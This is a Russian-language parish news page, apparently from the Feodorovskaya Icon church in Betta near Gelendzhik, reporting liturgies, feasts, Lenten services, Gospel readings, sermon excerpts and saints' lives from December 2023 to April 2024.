-
Неделя Ваи(Цветоносное Воскресенье)
Литургию совершил настоятель храма иерей Василий Колчар 28 апреля. По окончании богослужения батюшка освятил принесенные вербы — символ праздника в России, где не растет пальма.
Вход Господень в Иерусалим вспоминают православные христиане в шестое воскресенье Великого поста.Многие надеялись, что Христос вступает в Иерусалим, чтобы положить конец унизительной римской оккупации, что Он взойдет на царский престол и восстановит иудейское государство в его былой славе и могуществе. Каково же было всеобщее удивление, когда Христос въехал в городские ворота не на боевом коне, как подобало бы грозному освободителю, а на обычном ослике. Так Господь еще раз показал, что Царство, которое Он желает установить, «не от мира сего»Со всех сторон раздается ликование: «Осанна! Благословен грядущий во Имя Господне, Царь Израилев!» («Осанна» значит «Спасай нас»). Все это, напомним, происходит после воскрешения Лазаря. Первосвященники после этого положили убить Его. «Первосвященники же положили убить и Лазаря, потому что ради него многие из Иудеев приходили и веровали в Иисуса. На другой день множество народа, пришедшего на праздник, услышав, что Иисус идет в Иерусалим, взяли пальмовые ветви, вышли навстречу Ему и восклицали: осанна! благословен грядущий во имя Господне, Царь Израилев!» (Ин. 12:10-13).
Уже через несколько дней эти же люди, постилающие на пути Господа пальмовые ветви, будут кричать «Распни Его!» во дворе римского префекта Иудеи Понтия Пилата.Впереди нас ждет Страстная седмица, которая через страдания Христа ведет нас всех к Его Воскресению.
Лазарева Суббота
Богослуженая Литургия 27 апреля. По окончании литургии отец Василий совершил панихиду по усопшим.
«Когда умирает кто-то из наших сродников, то мир становится серым, дела становятся неинтересными и все наше внимание сосредотачивается только на усопшем человеке. В лучшем случае христиане не предъявляют Богу ничего, в глубине души таится огонек доверия. В худшем случае мы предъявляем Богу — почему и за что это случилось?
Вспоминая сегодняшнее Евангелие — стоило Лазарю умереть, как для Марфы и Марии все потухло. Марфа и Христу говорит — если бы Ты был здесь, не умер бы брат мой (Ин. 11:21). По сути это такой ропот, если не в прямом смысле, но в переносном. Мы верим, что воскреснем, как верили Марфа и Мария, но ум наш далеко от Бога…».
В день памяти преподобной Марии Египетской в храме совершена Божественная литургия
Литургию совершил настоятель храма иерей Василий Колчар 21 апреля. По окончании литургии отец Василий совершил молебен пред иконой Божия Матери » Феодоровская».
Пятое воскресенье — Неделя — Великого поста посвящено великой подвижнице, жизнь которой стала примером покаяния для многих поколений христиан. Подвиг преподобной Марии Египетской долгое время был достоянием иноков Иорданского монастыря, но однажды записанное патриархом Иерусалима Софронием житие стало доступно всем верующим.
«О святой Марии Египетской можно сказать кратко: она была жительница Александрии, женщина дурной жизни, позор своих сограждан, соблазн, погибель. В какой-то день ей захотелось поклониться живоносному Кресту Господню, частица которого находилась в одном из храмов. И не думая о своей греховности, не думая о том, что по ее жизни у нее ничего общего нет с тем Богом чистоты и любви, Которому она хотела поклониться, она дерзновенно захотела войти в храм. Но какая-то сила ее остановила; каждый раз, как она приближалась к вратам, она была отброшена. И она пришла в ужас, и она обратилась к Матери Божией за помощью и за милосердием – и была допущена в храм. Но из храма она не вернулась к прежней позорной жизни; она ушла в пустыню и там провела, в неописуемом подвиге, в совершенном одиночестве, всю свою остальную жизнь до смерти; жизнь, которая не была жизнью бесплотного существа, но была поистине жизнью воплощенного духа, ожившего покаянием и благодатью», — митрополит Сурожский Антоний (Блум)
Божественная Литургия в праздник Благовещения Богородицы и Приснодевы Марии
«Днесь спасения нашего главизна и еже от века таинства явление». В этих словах тропаря праздника Благовещения Пресвятой Богородицы содержится объяснение глубины и значения этого великого события, как начала спасения, обещанного человечеству.
Двунадесятый праздник Благовещения Богородицы отмечается 7 апреля, он на 9 месяцев отстоит от Рождества Христова и в 2024 году совпал с Неделей 3-й Великого поста, Крестопоклонной. В этой связи можно задуматься о том, что Крест – это не столь орудие казни, символ смерти и страданий, сколь крестное благовестие о том, что Христос на Кресте победил грех и даровал избавление всему человечеству. Эту мысль подчеркнул настоятель храма иерей Василий Колчар, обращаясь к прихожанам храма. А также значению благой вести, которую услышала Пресвятая Дева Мария от Архангела Гавриила.
Неделю 2-ю Великого поста, святителя Григория Паламы
Вторая Неделя Великого поста, 31 марта в 2024 году, посвящена памяти святителя Григория Паламы. В храме совершена Божественная Литургия с молебным пением пред иконой Божия Матери «Феодоровская».
За богослужением звучало евангельское повествование об исцелении расслабленного в Капернауме. В Церкви мы называем друг друга братьями и сестрами, и, считая таковыми своих ближних, мы призваны помогать им. Но какую помощь может оказать один человек другому? Накормить, утолить жажду, одеть, сказать доброе слово, посетить находящегося в болезни, немощи или узах… Вот, наверное, то малое, что человек может сделать своему ближнему. Однако эти вещи, которые можно назвать незначительными, в каких-то ситуациях могут быть важными. При определенных условиях они могут перевернуть сознание человека и изменить все направление его жизни. И тем не менее, учитывая постоянные потребности человека, помощь другому, брату или сестре во Христе, всегда ограничена нашим человеческим ресурсом. Однако все меняется, если мы подключаем веру и прибегаем к Божественным возможностями и ресурсам. Именно об этом говорится в сегодняшнем евангельском чтении. Четверо человек принесли своего друга к ногам Спасителя, и Господь, исключительно на основании веры друзей этого болящего, разбитого параличом человека, сначала простил ему грехи, а затем и даровал ему здоровье. Вот что может наша вера, когда мы обращаемся к Богу и прибегаем к Божиему всемогуществу! Дай Бог, дорогие братья и сестры, чтобы и мы, идя по жизни и будучи членами Церкви, помогали друг другу и заботились друг о друге не только на основании наших человеческих сил и возможностей, но чтобы мы помогали другим, обращаясь к Богу и прося Его о помощи друг другу.
Таинство Елея
Сейчас у всех православных верующих особое время – Великий пост, который продлится ещё почти две недели. В течение Великого поста в православных храмах совершается таинство соборования.
Настоятель храма иерей Василий Колчар 30 марта совершил таинство соборования в храме Феодоровской иконы Божий Матери.
Готовиться к соборованию нужно. Человек, ради которого оно совершается, должен всё зависящее от себя, чтобы исцелиться от болезни, сделать прежде, чем просить церковь сугубо помолиться за него.
Но главная подготовка к соборованию заключается в том, чтобы жить церковно, то есть соборно – любить своё церковное собрание, быть в дружестве с людьми и Богом. Это как раз то, чего не хватает на сегодняшний день практически во всех церковных таинствах: личностности и соборности. А это таинство даже называется «соборование».
Родительский день
30 марта в Родительскую Поминальную Субботу в храме совершена Божественная Литургия.
Чтобы не лишать усопших нашей соборной молитвы о них, Церковь установила три особых дня для их сугубого поминовения. Это субботы 2-й, 3-й и 4-й недель поста.
В эти дни можно прийти на Литургию и молиться за усопших. То есть не просто подать записку об упокоении или заказать сорокоуст, а лично принять участие в общей молитве.
Правда, в 2024 году таких дней будет два, т.к. вторая Родительская суббота (6 апреля) совпадает с днем предпразднства Благовещения Пресвятой Богородицы, поэтому заупокойное богослужение отменяется.
Несмотря на название «родительские», в эти дни христиане молятся в храме обо всех почивших родственниках и единоверцах.
В неделю Торжества Православия в храме совершена Божественная Литургия
Первое воскресенье Великого поста в Церкви называется Торжеством Православия. В этот день в нашем храме совершена Божественная литургия.
Мы говорим: «Господь Спаситель», – разумея, что Он Спаситель всех, а этот говорит: «Господь Спаситель мой». Кто говорит: «мой Спаситель», тот ощущает свое спасение, исходящее от Него. Ощущению же спасения сопредельно ощущение пагубы, из которой извлек спасенного Спасающий. Чувство пагубы жизнелюбивого по природе человека, знающего, что не может он сам себя спасти, заставляет искать Спасителя. Когда обретет Его и ощутит силу спасения, от Него исходящую, хватается за Него крепко и оторваться от Него не захочет, хоть бы лишали его за то самой жизни.
Такого рода события в духовной жизни христианина не воображаются только умом, а переживаются самым делом. Затем, как вера его, так и сочетание со Христом становятся крепки, как жизнь или смерть. Такой только искренно взывает: «кто меня разлучит!» (Рим.8:35).
Всенощное бдение
На кануне Воскресного дня 23 марта в храме иконы Феодоровской Богоматери совершено всенощное бдение.
В тот же первый день недели вечером, когда двери дома, где собирались ученики Его, были заперты из опасения от Иудеев, пришел Иисус, и стал посреди, и говорит им: мир вам!Сказав это, Он показал им руки и ноги и ребра Свои. Ученики обрадовались, увидев Господа.Иисус же сказал им вторично: мир вам! как послал Меня Отец, так и Я посылаю вас.Сказав это, дунул, и говорит им: примите Духа Святого.Кому простите грехи, тому простятся; на ком оставите, на том останутся.Фома же, один из двенадцати, называемый Близнец, не был тут с ними, когда приходил Иисус.Другие ученики сказали ему: мы видели Господа. Но он сказал им: если не увижу на руках Его ран от гвоздей, и не вложу перста моего в раны от гвоздей, и не вложу руки моей в ребра Его, не поверю.После восьми дней опять были в доме ученики Его, и Фома с ними. Пришел Иисус, когда двери были заперты, стал посреди них и сказал: мир вам!Потом говорит Фоме: подай перст твой сюда и посмотри руки Мои; подай руку твою и вложи в ребра Мои; и не будь неверующим, но верующим.Фома сказал Ему в ответ: Господь мой и Бог мой!Иисус говорит ему: ты поверил, потому что увидел Меня; блаженны невидевшие и уверовавшие.
Первоя седмица Великого поста совершено чтение Великого покаянного канона Андрея Критского
Великое повечерие с чтением покаянного канона святого Андрея Критского настоятель храма иерей Василий Колчар
Премудрой Церковью так устроено, что кульминацией первых четырех дней Великого Поста становится чтение за вечерним богослужением покаянного канона преподобного Андрея Критского. Но если кто-то пропустил на этой неделе чтение канона, то еще раз он будет прочитан полностью в среду вечером на пятой седмице Четыредесятницы.
«Сегодня в каноне Андрея Критского мы слышали фразу, всем знакомую, всем известную — «Сердце чисто созижди во мне, Боже». Она часто приписывается пророку Давиду, но мысль, которую изложил пророк Давид, была задолго до него — он лишь проанализировал, проработал и вложил ее в свои поэтические труды под названием «Псалтирь».
Неделя сыропустная. Воспоминание Адамова изгнания. Прощеное воскресенье. Глас 8‑й. Блгв. вел. кн. Даниила Московского. Заговенье на Великий пост.
17 марта настоятель храма иерей Василий Колчар совершил Божественную лЛитургию в день Прощенного Воскресенья.
Неделя сыропустная, последнее воскресенье пред наступлением Великого поста, посвящена воспоминанию «Адамова изгнания».
В конце вечерни совершается чин прощения. Эта вечерня имеет ряд характерных особенностей. Первая ее половина (до Вечернего входа) носит характер праздничный и совершается в светлом праздничном облачении.
После вечернего входа и «Свете Тихий» поется особенно умилительным напевом Великий прокимен: «Не отврати лица Твоего от отрока Твоего, яко скорблю, скоро услыши мя: вонми души моей и избави ю». После пения прокимна сразу же закрываются царские врата, читается: «Сподоби, Господи», а священнослужители переоблачаются в великопостные одежды. Просительную ектению диакон произносит уже в черном облачении, и хор отвечает ему великопостным распевом. Дальнейшая служба носит великопостный характер.Вместо обычного отпуста принято читать молитву: «Владыко многомилостиве», как обычно читается весь Великий пост в конце великого повечерия.
После этой молитвы обычно произносится слово о прощении обид, настоятель с земным поклоном испрашивает у верующих прощения «Благословите мя, отцы святии и братия, и простите ми, грешному, елика согреших в сей день и во вся дни живота моего словом, делом, помышлением и всеми моими чувствы». Сказав это, он земно кланяется народу. Все отвечают ему земным поклоном и говорят: «Бог простит тя, отче святый. Прости и нас, грешных, и благослови». Затем все с земными поклонами просят прощения друг у друга.
День православной книги!
11 марта 2024 г. Штатный священник Андреевского кафедрального собора города курорта Геленджик иерей Василий Колчар посетил школу 8.
В беседе приуроченной к празднику «День православной книги » священник рассказал учащимся 5-класа о происхождении праздника, о первопечатнике Иоанне Федерове, о важности книги в Богослужении и повседневной жизни человека . Для наглядного пособия ученикам баюшка предоставил Евангелие на церковнославянском языке. Ребята задавали вопросы о появлении первых книг на Руси. В завершении встречи состоялся просмотр фильма о печати первой книги «Апостол».
Паломническая поездка в Неделю Мясопустную
10 марта в Неделю Мясопустную, во главе с настоятелем состоялась паломническая поездка прихожан храма Феодоровской иконы Божией Матери х.Бетта в кафедральный собор апостола Андрея Первозванного г-к Геленджик.
Паломники приложились к храмовой святыне , частице мощей апостола Христова.
Священник Василий Колчар рассказал об истории строительства собора,церковной жизни,убранстве иконографии храма. Присутствующие имели возможность воочию насладится красотой как храмового комплекса так и завораживающими видами Геленджикской бухты и прихрамовой парковой территории. Все пребывали в невероятном восторге и непередаваемом чудном впечетлении от поездки.
25 февраля 2024 года
Неделя о мытаре и фарисее. Глас 5‑й. Иверской иконы Божией Матери. Свт. Алексия, митр. Киевского, Московского и всея Руси, чудотворца.
Свт. Мелетия, архиеп. Антиохийского. Свт. Мелетия, архиеп. Харьковского.
В воскресный день Божественную Литургию совершил иерей Сергий Плужников. За богослужением читалось Евангельское зачало о мытаре и фарисеи:
Лк.18:10–14 Два человека вошли в храм помолиться: один фарисей, а другой мытарь.
Фарисей, став, молился сам в себе так: Боже! благодарю Тебя, что я не таков, как прочие люди, грабители, обидчики, прелюбодеи, или как этот мытарь:пощусь два раза в неделю, даю десятую часть из всего, что́ приобретаю.Мытарь же, стоя вдали, не смел даже поднять глаз на небо; но, ударяя себя в грудь, говорил: Боже! будь милостив ко мне грешнику!Сказываю вам, что сей пошел оправданным в дом свой более, нежели тот: ибо всякий, возвышающий сам себя, унижен будет, а унижающий себя возвысится.
Неделя 37‑я по Пятидесятнице. Попразднство Сретения Господня. Мц. Агафии. Иконы Божией Матери, именуемой «Взыскание погибших». Свт. Феодосия, архиеп. Черниговского
Отец Василий по окончании литургии напомнил о Евангельском чтении за богослужением (Лк.19:1–10) и подчеркнул, что слова о мытаре Закхее уже готовят православных христиан к Великому посту. «Это говорит нам о том, что даже к самому грешному человеку придет Господь. Он постучит в его сердце, придет через ближнего, в виде жизненного обстоятельства — и обязательно достучится. И сердце откроется и человек увидит Бога.
Суббота. Попразднство Сретения Господня. Прп. Исидора Пелусиотского.
Блгв. вел. кн. Георгия (Юрия) Всеволодовича Владимирского. Прп. Кирилла Новоезерского
Настоятель храма иерей Василий Колчар 17 февраля на кануне Воскресного дня ,в храме Феодоровской иконы Богоматери совершил Всенощное бдение.За Богослужением читалось Евангельское зачало от Луки (112).
В первый же день недели, очень рано, неся приготовленные ароматы, пришли они ко гробу, и вместе с ними некоторые другие;но нашли камень отваленным от гроба.И, войдя, не нашли тела Господа Иисуса.Когда же недоумевали они о сем, вдруг предстали перед ними два мужа в одеждах блистающих.И когда они были в страхе и наклонили лица свои к земле, сказали им: что вы ищете живого между мертвыми?Его нет здесь: Он воскрес; вспомните, как Он говорил вам, когда был еще в Галилее,сказывая, что Сыну Человеческому надлежит быть предану в руки человеков грешников, и быть распяту, и в третий день воскреснуть.И вспомнили они слова Его;и, возвратившись от гроба, возвестили всё это одиннадцати и всем прочим.То были Магдалина Мария, и Иоанна, и Мария, мать Иакова, и другие с ними, которые сказали о сем апостолам.И показались им слова их пустыми, и не поверили им
Неделя 36‑я по Пятидесятнице. Глас 3‑й. Перенесение мощей сщмч. Игнатия Богоносца.
Свтт. Герасима, Питирима и Ионы, епископов Великопермских, Устьвымских.
Прп. Лаврентия, затворника Печерского, еп. Туровского, в Ближних пещерах.
Божественная Литургия с молебеном Феодоровской иконы Божией Матери.
Евангелие дня: Мф.15:21–28
И изше́дъ отту́ду Иису́съ, отъи́де во страны́ Ти́рскiя и Сидо́нскiя.И се́, жена́ Ханане́йска, от предѣ́лъ тѣ́хъ изше́дши, возопи́ къ Нему́ глаго́лющи: поми́луй мя́, Го́споди, Сы́не Дави́довъ, дщи́ моя́ злѣ́ бѣсну́ется.О́нъ же не отвѣща́ е́й словесе́. И присту́пльше ученицы́ Его́, моля́ху Его́, глаго́люще: отпусти́ ю́, я́ко вопiе́тъ вслѣ́дъ на́съ.О́нъ же отвѣща́въ рече́: нѣ́смь по́сланъ, то́кмо ко овца́мъ поги́бшымъ до́му Изра́илева.Она́ же прише́дши поклони́ся Ему́, глаго́лющи: Го́споди, помози́ ми.О́нъ же отвѣща́въ рече́: нѣ́сть добро́ отъя́ти хлѣ́ба ча́домъ и поврещи́ псо́мъ.Она́ же рече́: е́й, Го́споди: и́бо и пси́ ядя́тъ от крупи́цъ па́дающихъ от трапе́зы господе́й свои́хъ.Тогда́ отвѣща́въ Иису́съ рече́ е́й: о, же́но, ве́лiя вѣ́ра твоя́: бу́ди тебѣ́ я́коже хо́щеши. И исцѣлѣ́ дщи́ ея́ от того́ часа́.
Неделя 35‑я по Пятидесятнице. Глас 2‑й. Собор новомучеников и исповедников Церкви Русской
4 февраля в день памяти собора Новомучеников и исповедников Церкви Русской в храме совершена Божественная литургия.
По окончании богослужения отслужили литию по всем усопшим, пострадавшим в годину гонений за веру Христову.
Богослужение совершил настоятель храма священник Василий Колчар.
В воскресенье 4 февраля мы обращаемся в молитве ко всем новомученикам и исповедникам Церкви Русской. Более 1700 прославленных святых, а также всех пострадавших во время советских гонений (около 130 000 священнослужителей, монахов и мирян), чтит Церковь в первое воскресенье февраля в 2023 году. Кроме того в этот день Церковь почитает апостола от 70-ти Тимофея Ефесского, преподобномучеников Анастасия Персянина и Анастасия Печерского, мучеников-епископов Мануила, Георгия, Петра, Леонтия, священномучеников Сиония, Гавриила, Иоанна, Леонта, Парода и прочих 377-ми, а также преподобного Макария Жабынского, Белёвского чудотворца. В первый воскресный день февраля особо вспоминают новомучеников Иоанна Успенского и Евфимия Тихонравова.
Неделя 34‑я по Пятидесятнице. Глас 1‑й. Прпп. Павла Фивейского и Иоанна Кущника.
Прп. Варлаама Керетского.
28 января в храме совершена Божественная Литургия, по окончании которой был отслужен благодарственный молебен пред месточтимым образом Феодоровской иконы Божией Матери.
Евангелие дня.
Лк.18:18–27 (зач. 91).
И спросил Его некто из начальствующих: Учитель благой! что мне делать, чтобы наследовать жизнь вечную?Иисус сказал ему: что ты называешь Меня благим? никто не благ, как только один Бог;знаешь заповеди: не прелюбодействуй, не убивай, не кради, не лжесвидетельствуй, почитай отца твоего и матерь твою.Он же сказал: все это сохранил я от юности моей.Услышав это, Иисус сказал ему: еще одного недостает тебе: все, что имеешь, продай и раздай нищим, и будешь иметь сокровище на небесах, и приходи, следуй за Мною.Он же, услышав сие, опечалился, потому что был очень богат.Иисус, видя, что он опечалился, сказал: как трудно имеющим богатство войти в Царствие Божие!ибо удобнее верблюду пройти сквозь игольные уши, нежели богатому войти в Царствие Божие.Слышавшие сие сказали: кто же может спастись?Но Он сказал: невозможное человекам возможно Богу.
Всенощное бдение
27 января на кануне 34 Недели по Пятидесятнице настоятелем храма было совершено Всенощное бдение под Воскресный день. За полиелем читался отрывок с Евангелия от Матфея зачало 116.
Евангелие:
Одиннадцать же учеников пошли в Галилею, на гору, куда повелел им Иисус,и, увидев Его, поклонились Ему, а иные усомнились.И приблизившись Иисус сказал им: дана Мне всякая власть на небе и на земле.Итак, идите, научите все народы, крестя их во имя Отца и Сына и Святого Духа,уча их соблюдать всё, что Я повелел вам; и се, Я с вами во все дни до скончания века. Аминь.
Неделя 33‑я по Пятидесятнице, по Богоявлении. Глас 8‑й. Попразднство Богоявления. Прп. Георгия Хозевита.
Божественная Литургия в Воскресный день.
Евангелие дня:
Мф. зач.8 . Услышав же Иисус, что Иоанн отдан под стражу, удалился в Галилеюи, оставив Назарет, пришел и поселился в Капернауме приморском, в пределах Завулоновых и Неффалимовых,да сбудется реченное через пророка Исаию, который говорит:земля Завулонова и земля Неффалимова, на пути приморском, за Иорданом, Галилея языческая,народ, сидящий во тьме, увидел свет великий, и сидящим в стране и тени смертной воссиял свет.С того времени Иисус начал проповедовать и говорить: покайтесь, ибо приблизилось Царство Небесное.
КРЕЩЕНСКИЕ ДНИ
События праздника Крещения Господня возвестили всему миру тайну Святой Троицы.
Во Иордане Крещающуся Тебе Господи…..В храме Феодоровской иконы Богородицы было совершено праздничное Богослужение с чином Великого освящения воды.
Вода как святыня имеет важное место в жизни христианина,как на кануне праздника в Крещенский Сочельник так и на само Крещение Господне 19 января,воду освящали не только в храме но и на центральном пляже х. Бетта.
Настоятель храма иерей Василий Колчар поздравил всех с великим двунадесятым праздником окропив присутствующих Крещенской водой….
ПРАЗДНИК ОБРЕЗАНИЯ ГОСПОДНЯ.ДЕНЬ ПРАЗДНЕНСТВА СВЯТИТЕЛЯ ВАСИЛИЯ ВЕЛИКОГО
14 января в Воскресный день праздника Обрезания Господня и день памяти святителя Василия Великого,в храме была совершена Божественная Литургия по чину свт.Василия Великого а также молебен пред образом Феодоровской иконы Богородицы.По окончании богослужения актив прихода от лица всех прихожан поздравил настоятеля храма иерея Василия Колчар с днем тезоименитства,днем его небесного покровителя.Сердечно пожелав батюшке крепкого здоровья,Божия помощи в делах прихода,и небесного предстательства свт.Василия Великого.
Господь постоянно говорит о том, чтобы мы бодрствовали, следили за собой, несли свой крест борьбы с грехом и терпения скорбей, чтобы мы отвергались себя. Если Сам Господь ради нас был распят на кресте, сделался Агнцем Божиим, вземлющим грехи мира, если Он за нас пострадал, то и мы, христиане, должны же свой маленький крест понести и пострадать в борьбе с грехом для очищения себя, чтобы сделаться достойными войти не в какое-нибудь место, подобное земному, а войти в само Царство Божие, в общение с Господом, сделаться детьми Божиими. Но для этого нужно понести труд, нужно возлюбить Господа, необходимо благодарить Его, умолять Его, чтобы Он помог нам очиститься от своих грехов, дал бы нам силы понести свой крест до конца жизни. И подобно тому, как Господь с креста сошел во гроб, а затем воскрес, так и нам всем предстоит с креста пойти в гроб, чтобы перейти к Господу в вечное воскресение. Так должны мы в течение своей земной жизни отвергаться себя, обрезать от себя всякий грех, нести без ропота, с благодарностью, крест, который возложил на нас Господь, умолять Его, чтобы Он помог нам провести жизнь по-христиански, по-христиански умереть и наследовать Царствие Божие, уготованное всем истинным последователям Христа от создания мира, где все просветятся как солнце, неизреченной радостью Божественного Света.
ВСЕНОЩНОЕ БДЕНИЕ
На кануне праздника обрезания Господня 13 января,настоятель храма иерей Василий Колчар совершил Всенощное бдение.
Евангелие дня:Ин.21:1–14 (зач. 66)
После того опять явился Иисус ученикам Своим при море Тивериадском. Явился же так:были вместе Симон Петр, и Фома, называемый Близнец, и Нафанаил из Каны Галилейской, и сыновья Зеведеевы, и двое других из учеников Его.Симон Петр говорит им: иду ловить рыбу. Говорят ему: идем и мы с тобою. Пошли и тотчас вошли в лодку, и не поймали в ту ночь ничего.А когда уже настало утро, Иисус стоял на берегу; но ученики не узнали, что это Иисус.Иисус говорит им: дети! есть ли у вас какая пища? Они отвечали Ему: нет.Он же сказал им: закиньте сеть по правую сторону лодки, и поймаете. Они закинули, и уже не могли вытащить сети от множества рыбы.Тогда ученик, которого любил Иисус, говорит Петру: это Господь. Симон же Петр, услышав, что это Господь, опоясался одеждою, – ибо он был наг, – и бросился в море.А другие ученики приплыли в лодке, – ибо недалеко были от земли, локтей около двухсот, – таща сеть с рыбою.Когда же вышли на землю, видят разложенный огонь и на нем лежащую рыбу и хлеб.Иисус говорит им: принесите рыбы, которую вы теперь поймали.Симон Петр пошел и вытащил на землю сеть, наполненную большими рыбами, которых было сто пятьдесят три; и при таком множестве не прорвалась сеть.Иисус говорит им: придите, обедайте. Из учеников же никто не смел спросить Его: кто Ты? зная, что это Господь.Иисус приходит, берет хлеб и дает им, также и рыбу.Это уже в третий раз явился Иисус ученикам Своим по воскресении Своем из мертвых.
РОЖДЕСТВО ГОСПОДА И БОГА И СПАСА НАШЕГО ИИСУСА ХРИСТА
В ночь с 6-го на 7-е января 2024 года, в день празднования Рождества Господа Бога и Спаса нашего Иисуса Христа, настоятель храма иерей Василий Колчар совершил праздничную Божественную Литургию . Многократно в храме народом воспевался тропарь нынешнего великого праздника: «Рождество Твое Христе Боже наш, возсия мирови свет разума: в нем бо звездам служащии, звездою учахуся, Тебе кланятися Солнцу правды, и Тебе ведети с высоты Востока: Господи, слава Тебе».Для всех присутствующих во всеуслышание с амвона храма батюшка зачитал Рождественское послание преосвященнейшего Феогноста епископа Новороссийского и Геленджикского.В своем слове проповеди настоятель храма поздравил всех с великим праздником Рождества Христова.» Благодарю вас, дорогие братия и сестры, что вы пришли в эту светозарную ночь в храм, чтобы прославить Спасителя, чтобы соединиться с ним в Таинстве Причастия. Поздравляю вас с этим величайшим Таинством соединения с самим Господом. Пусть Господь поможет всем нам быть достойными своего звания, жить по-христиански. Пусть Богомладенец Христос, озаряющий нашу жизнь своим светом Вифлеемской звезды, укажет нам путь к Нему. А Царствие Небесное находится не в каких-то определенных местах, а, как говорит Господь: «Царство Божие внутрь вас есть». Мы либо чувствуем близость к нему и любовь в сердце, либо нет. Надеюсь, что мы будем стремиться к тому, чтобы очистить свои сердца, соединиться с Господом и почувствовать ту благодать, которую Господь дарует испытать верующему человеку в дни особых великих праздников.»
РОЖДЕСТВЕНСКИЙ СОЧЕЛЬНИК
В навечерие Рождества Христова, 6 января была совершена Божественная Литургия святителя Василия Великого,по окончании которой настоятель храма иерей Василий Колчар произнес молитву на освящения сочива.Далее обратившись с словом проповеди к собравшимся» Всех вас, дорогие братия и сестры, поздравляю с началом праздничных дней, с началом прославления Рождшегося Богомладенца. Пусть Господь, пришедший в этот мир для спасения всех людей, поможет и нам очиститься от наших прегрешений и соделаться тем вертепом, в который бы вселился Господь. Как воссияла Вифлеемская звезда, которая вела мудрецов к Спасителю, так же и Он будет вести нас к Себе через различные тернии, неприятности, войны и скорби. Но мы будем знать, что мы на правильном пути только тогда, когда мы научимся соблюдать заповеди. Дай Бог всем нам хранить эти заповеди и совершенствоваться духовно. И пусть Богомладенец Христос освящает всю нашу жизнь Своей любовью. С праздником!»
31 декабря «Елка в нашем храме»
Накануне Нового года 31 декабря, в храме Феодоровской иконы Божией Матери х.Бетта по окончании Божественной Литургии сотсоялся новогодний утренник «Елка в нашем храме «.
Настоятель храма иерей Василий Колчар расказал детям о приближающемся празднике Рождества Христова,а также поздравил всех с наступающим Новым Годом!
Дети у елки расказывали стишки,за которые получили вкусные подарки.
ПУСТЬ БЛАГОСЛОВЕНИЕ СВЯТИТЕЛЯ НИКОЛАЯ УТВЕРЖДАЕТ И УКРЕПЛЯЕТ ВСЕХ НАС В ДЕЛАНИИ ЗАПОВЕДЕЙ ХРИСТОВЫХ
Святителя Николая, архиепископа Мир Ликийских, Чудотворца (ок. 335).
19 декабря в день праздника святителя Христова Николая Чудотворца, иерей Сергий Гусев совершил Божественную Литургию.
Святитель Николай родился в городе Патары, Малоазийской провинции Ликии, примерно в 249–250–гг. по Рождестве Христовом. Родители его – Феофан и Нонна – были благочестивыми людьми. Воспитанию будущего Святителя много внимания уделял его дядя – епископ Николай Патарский. С юных лет его воспитанник обнаружил великое благочестие, уже в 20 лет был он пресвитером и заместителем своего дяди на Патарской кафедре. Промыслом Божиим пресвитер Николай был возведён на высокое архиепископское служение в столичном городе Ликийской провинции – Мирах. В 285 г., с воцарением императора Диоклетиана, началось страшное гонение христиан, грозившее им полным уничтожением. Святитель Николай был заключён в темницу; он получил свободу лишь при императоре Константине (306 г.).
В 325 г. Святитель Николай – среди отцов Первого Вселенского Собора, созванного для осуждения ереси Ария, учившего о неравночестности Сына Божия, Иисуса Христа, с Богом Отцом, подрывавшего этим основы христианства.
Святитель дожил до глубокой старости и скончался в 343 году, прославленный даром чудотворения. Останки его были похоронены в соборном храме г. Миры. Спустя семь столетий, когда выходцы из Азии – печенеги, половцы и арабы – стали отторгать от Византийской империи область за областью, греки, проживавшие в Италии, снарядили три корабля (1087 г.) и 9 мая вывезли мощи Святителя Николая в итальянский город Бари. Папа Урбан в сопровождении духовенства встретил мощи Святителя, и они были положены под престолом в алтаре соборного храма. Через два года мощи Святителя были перенесены в новый каменный храм, где пребывают и ныне. Таковы краткие житийные сведения о Святителе Николае.
Велик сонм угодников Божиих и святых святителей, но мало кто из них почтен так, как Святитель Николай. Людские сердца тянутся к Святителю, как роднику неиссякаемой благодати, веры живой и действенной, добродетели совершенной, молитвеннику не усыпающему. Святитель олицетворяет собой «правило веры» во Христа Спасителя. Свою веру он засвидетельствовал исповеданием христианства вовремя Диоклетианова гонения и на Первом Вселенском Соборе, утверждая вместе с другими отцами Собора равночестность Сына Божия – Христа Спасителя с Богом Отцом. Исполнение заветов Христа, и прежде всего важнейшего – любить Бога всей душой и всем сердцем и ближнего, как самого себя (см. Мф.5:43, 19:19, 22:39; Мк.12:31; Лк.10:27; Иак.2:8; Рим.13:9; Гал.5:14), стало смыслом его жизни. Веровать для Святителя – значило жить так, как учит Евангелие. Всё своё немалое имущество, полученное от родителей, и значительную часть епархиальной казны употребил он на строительство странноприимниц, посещение больных, утешение сирот и вдов. Благотворительность его была милосердием, ибо сердце его наделено было даром скорбеть скорбями ближних.
Житие Святителя сохранило ряд примеров его миротворческой деятельности. Так, когда жителям г. Патары угрожала кровавая расправа за мятеж, Святитель явился на городскую площадь, умирил недовольных и восстановил порядок. Святитель был защитником угнетаемых и гонимых. Известно, например, что, когда в г. Миры трое воевод были незаконно осуждены на смерть, он сам отнял меч у палача и освободил невинно осуждённых. Прославление угодника Божия на Руси началось с принятием христианства.
Характерные национальные черты русских, составляющие душу народную, в первую очередь миролюбие, «стояние за веру», страннолюбив, обратили сердца православных к Святителю Николаю, и стал он национальным русским святым, удостоенным чрезвычайного поклонения: покрыл народ наш лицо земли своей храмами во имя Святителя Николая, и редко в русских семьях родители не называли кого-нибудь из детей именем этого Святителя.
Недостаток житийных сведений русское благочестие восполнило рядом сказаний. В одном из них рассказывается, что пожелал Господь узнать, как люди живут на земле, и послал на неё Святителя Николая и преподобного Кассиана Римлянина. Спустилось с неба посольство на Русскую землю, и увидели святые русского мужичка, тощая лошадка и воз которого увязли в дорожной грязи. Святитель предложил преподобному помочь мужичку. Преподобный же отказал: ведь они запачкают свои белые одежды, а им надо предстать пред Господом. Довод был убедителен. Однако Святитель решил помочь мужичку. Дружными усилиями Святителя и мужичка воз был вытащен из грязи на торную дорогу, и мужичок поехал. Посмотрел Святитель на свои белые одежды – они были сплошь измазаны грязью дорожной и дёгтем колёсным. Когда святые предстали пред Господом, сурово оглядел Господь Святителя и потребовал объяснений. Рассказал Святитель всё, как было, без утайки. И любовно взглянул и изрёк свой суд: «ты, Святитель, поступил верно, а ты, преподобный, – не так, как надо бы, и вот вам награда: будут память твою, Святитель, люди православные праздновать два раза в году – Николу зимнего 6 декабря и Николу вешнего – 9 мая, а тебя, преподобный, – один раз в четыре года.» (Память преподобного Кассиана отмечается только в високосном году – 29 февраля.)
